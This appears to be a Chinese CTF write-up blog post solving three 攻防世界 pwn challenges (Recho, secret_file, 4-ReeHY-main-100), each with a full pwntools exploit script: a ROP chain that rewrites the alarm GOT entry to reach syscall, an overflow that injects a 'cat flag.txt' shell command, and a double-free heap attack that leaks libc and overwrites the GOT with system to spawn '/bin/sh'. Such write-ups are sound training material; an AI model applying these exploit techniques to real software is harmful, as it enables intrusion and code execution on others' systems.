zoukankan      html  css  js  c++  java
  • 攻防世界

    Recho:

    这种类型的题目我也是第一次碰见,故记录一些知识点。这题我碰到3个比较难受的坑:

    • 不知道怎么结束while循环。我原本的想法是输入一些特殊的字符迫使它读入的字符数为0,结果怎么试发现都能正常读入。不得以去网上看了一下别人的博客,发现pwntools居然有p.shutdown('send')这个功能。据大佬的说法是可以关闭输入流从而强制退出循环。(其实我也不太明白,有知道的大佬可以评论说下)
    • 第二个就是文件描述符,正常的思路调用open("flag", 0)后会把返回的文件描述符存放在rax寄存器中,接下来调用read(fd, buf, size)函数肯定要把rax中的值传入到rdi中,结果无论我怎么找都找不到可以利用的代码段。苦思无果后我突然意识到stdin, stdout, stderr这三个标准I/O是自动打开的,文件描述符分别是0,1,2。如果没有别的文件被打开那我们调用open("flag", 0)返回的文件描述符是3。我们提交题目的靶机环境比较简单,说不定还真可以。后来一试,成功了。不得不说在这卡了很久真的挺蛋疼的。
    • 第三个就是最后调用printf("%s", buf)打印flag时总是失败,不得以调试跟踪了一遍printf()函数调用过程,发现是rax没清零导致调用失败,真的是一波三折啊。

    这道题的利用思路是:

    1. 先调用open("flag", 0)函数打开flag文件
    2. 调用read(fd, buf, size)函数把flag写到一段我们可以控制的内存中,一般是bss段
    3. 调用printf("%s", buf)把flag打印出来

    由于题目给的二进制文件中并不包含open函数,所以我们可以考虑系统调用。open函数的系统掉用号为2。函数read,alarm,write都是系统调用函数,所以不出意外我们可以找到系统调用所需的syscall

    用ROPgadget分析一下找到可以利用的代码段:

    所以我们可以改写alarm函数got表中的值为syscall的地址:

    • pop rdi控制寄存器中的值为0x601028
    • pop rax控制rax寄存器的值为5
    • add byte ptr [rdi], al改写got表

    至于为什么加5读者可自行跟踪调试alarm函数观察

    最终的exp如下:

    #-*- coding:utf-8 -*-
    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    p = process('./773a2d87b17749b595ffb937b4d29936')
    #p = remote('111.198.29.45', 42251)
    elf = ELF('773a2d87b17749b595ffb937b4d29936')
    
    p.recvuntil('server!
    ')
    p.sendline('500')
    
    alarm_got = elf.got['alarm']
    alarm_plt = elf.plt['alarm']
    pop_rdi_addr = 0x4008a3
    pop_rsi_r15_addr = 0x4008a1
    start_addr = 0x400630
    printf_plt = elf.plt['printf']
    add_rdi_ret = 0x40070d
    pop_rax_ret = 0x4006fc
    pop_rdx_ret = 0x4006fe
    bss_addr = 0x601090
    read_plt = elf.plt['read']
    
    payload = 'A'*0x30 + 'A'*8 + p64(pop_rdi_addr) + p64(alarm_got) + p64(pop_rax_ret) + p64(5) + p64(add_rdi_ret) ##改写alarm_got
    payload += p64(pop_rdi_addr) + p64(0x601058) + p64(pop_rsi_r15_addr) + p64(0) + p64(start_addr) + p64(pop_rax_ret) + p64(2) + p64(alarm_plt) ## open("flag", 0)
    payload += p64(pop_rdi_addr) + p64(3) + p64(pop_rsi_r15_addr) + p64(bss_addr) + p64(0) + p64(pop_rdx_ret) + p64(60) + p64(pop_rax_ret) + p64(0) + p64(alarm_plt) ## read()
    payload += p64(pop_rdi_addr) + p64(0x4008de) + p64(pop_rsi_r15_addr) + p64(bss_addr) + p64(start_addr) + p64(pop_rax_ret) + p64(0) + p64(printf_plt) ##调用printf函数打印flag,p64(pop_rax_ret) + p64(0) 是为了保证调用printf成功
    payload = payload.ljust(500, 'x00')
    info(len(payload))
    p.send(payload)
    p.shutdown('send')
    
    p.interactive()
    

    secret_file:

    程序没有限制输入的长度,所以可以覆盖v14为cat flag.txt,覆盖v15为sha256加密后的值就可以拿到flag

    exp如下:

    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    #p = process('./d2bc59264cc24b5ab2e5357c058de6d7')
    p = remote('159.138.137.79', 65233)
    
    
    payload = 'A'*0x100 + 'cat flag.txt' + ';' + 'A'*14
    
    v15  = 'x65x30x37x35x66x32x66x35'
    v15 += 'x31x63x61x64x32x33x64x30'
    v15 += 'x35x33x37x31x38x36x63x66'
    v15 += 'x63x64x35x30x66x39x31x31'
    v15 += 'x65x61x39x35x34x66x39x63'
    v15 += 'x32x65x33x32x61x34x33x37'
    v15 += 'x66x34x35x33x32x37x66x31'
    v15 += 'x62x37x38x39x39x62x62x62'
    
    payload += v15
    
    p.sendline(payload)
    p.interactive()

    4-ReeHY-main-100:

    题外:

    最近刷的题逐渐暴露出我的不足,在题目比较复杂时,我总是稍有思路就开始动手,这样做的后果就是考虑不周全导致频繁的修改代码。这样不仅会浪费大量时间,还会让自己逐渐失去耐心,越写越烦,希望接下来可以改掉这个毛病

    查看程序的保护:

     发现程序只有数据执行保护。分析程序发现在free时没有检查是否free过,可以double free,如下:

     第二个是在add时先把数据写入栈中,在memcpy到堆中,这可以利用原有栈中的数据把堆分配到stderr附近达到泄漏libc的目的。

    这里有个挺大的坑的。就是我刚开始是把stdout的flag的值覆盖为0xfbad1800, 因为memcpy会在拷贝时把_IO_write_base即以后的值覆盖掉,在puts时就会调用失败。这里有个新的姿势就是把flag的值覆盖为0xfbad3c80,在调用fflush就会把破坏的stdout恢复,就可以结接下来的利用。

    最后我是把堆分配到bss附近控制存放堆指针的地方,最后实现got表改写,完整exp如下:

    from pwn import *
    context(os = 'linux', arch = 'amd64', terminal = ['tmux', 'splitw', '-h'])
    elf = ELF('4-ReeHY-main')
    #libc = ELF('ctflibc.so.6')
    libc = elf.libc
    
    def Add(size, index, content, p):
        p.sendlineafter('$ ', '1')
        p.sendlineafter('Input size', str(size))
        p.sendlineafter('Input cun', str(index))
        p.sendafter('Input content', content)
    
    def Free(index, p):
        p.sendlineafter('$ ', '2')
        p.sendlineafter('Chose one to dele
    ', str(index))
    
    def Edit(index, content, p):
        p.sendlineafter('$ ', '3')
        p.sendlineafter('Chose one to edit', str(index))
        p.sendafter('Input the content', content)
    
    def exploit(p):
        p.sendlineafter('$ ', 'yuanzuchao')
        #p = remote('159.138.137.79', 51557)
        Add(0x68, 0, 'A'*0x68, p)
        Add(0x68, 1, 'A'*0x68, p)
        
        Free(0, p)
        Free(1, p)
        Free(0, p)
        
        Add(0x68, 2, 'xddx25', p)
        Add(0x68, 1, 'AAAAAAAA', p)
        Add(0x68, 3, 'x00x00', p)
        payload = 'x00'*0x2b + p64(0) + p64(0xfbad3c80) + p64(0)*3 + 'x00'
        Add(0x60, 4, payload, p)
        
        payload = 'x00'*0x2b + p64(0) + p64(0xfbad1800) + p64(0)*3 + 'x00'
        Edit(4, payload, p)
        
        stdin = u64(p.recvuntil('x01x00x00x00x00x00x00x00xffxffxffxffxffxffxffxff', drop = True)[-8:])
        info("stdin ==> " + hex(stdin))
        libc_base = stdin - 0x3c48e0
        info("libc_base ==> " + hex(libc_base))
        system_addr = libc_base + libc.symbols['system']
        info("system ==> " + hex(system_addr))
        
        
        #Free(2)
        #Free(1)
        #Free(3)
        p.sendlineafter('$ ', '2')
        p.sendlineafter('Chose one to dele', str(2))
        p.sendlineafter('$ ', '2')
        p.sendlineafter('Chose one to dele', str(1))
        p.sendlineafter('$ ', '2')
        p.sendlineafter('Chose one to dele', str(3))
        
        Add(0x68, 3, p64(0x60208d) + 'x00'*0x60, p)
        Add(0x68, 1, 'AAAAAA', p)
        Add(0x68, 2, 'AAAAAA', p)
        payload  = 'x00x00x00' + p64(0) + p64(0x300000000)
        payload += p64(0)*2
        payload += p64(0x6020e0) + p64(0)
        payload += p64(0)*2
        payload += p64(0x602058) + p64(1)
        
        Add(0x68, 0, payload, p)
        payload = 'x00x00x00' + p64(0) + p64(0) 
        payload += p64(0)*2
        payload += p64(0x6020e0) + p64(0)
        payload += p64(0)*2
        payload += p64(0x602058) + p64(1)
        Edit(0, payload, p)
        
        Edit(0, p64(system_addr), p)
        
        p.sendlineafter('$ ', '/bin/shx00')
        
        p.interactive()
    if __name__ == '__main__':
        while True:
            p = process('./4-ReeHY-main')
            #p = remote('159.138.137.79', 52063)
            try:
                exploit(p)
            except Exception as e:
                info(e)
                info("Failed!")
                p.close()
  • 相关阅读:
    IDEA在编辑时提示could not autowire
    python基础——使用__slots__
    python基础——实例属性和类属性
    python基础——继承和多态
    python基础——访问限制
    python基础——面向对象编程
    python基础——第三方模块
    python基础——使用模块
    python基础——模块
    Python tkinter调整元件在窗口中的位置与几何布局管理
  • 原文地址:https://www.cnblogs.com/countfatcode/p/12326807.html
Copyright © 2011-2022 走看看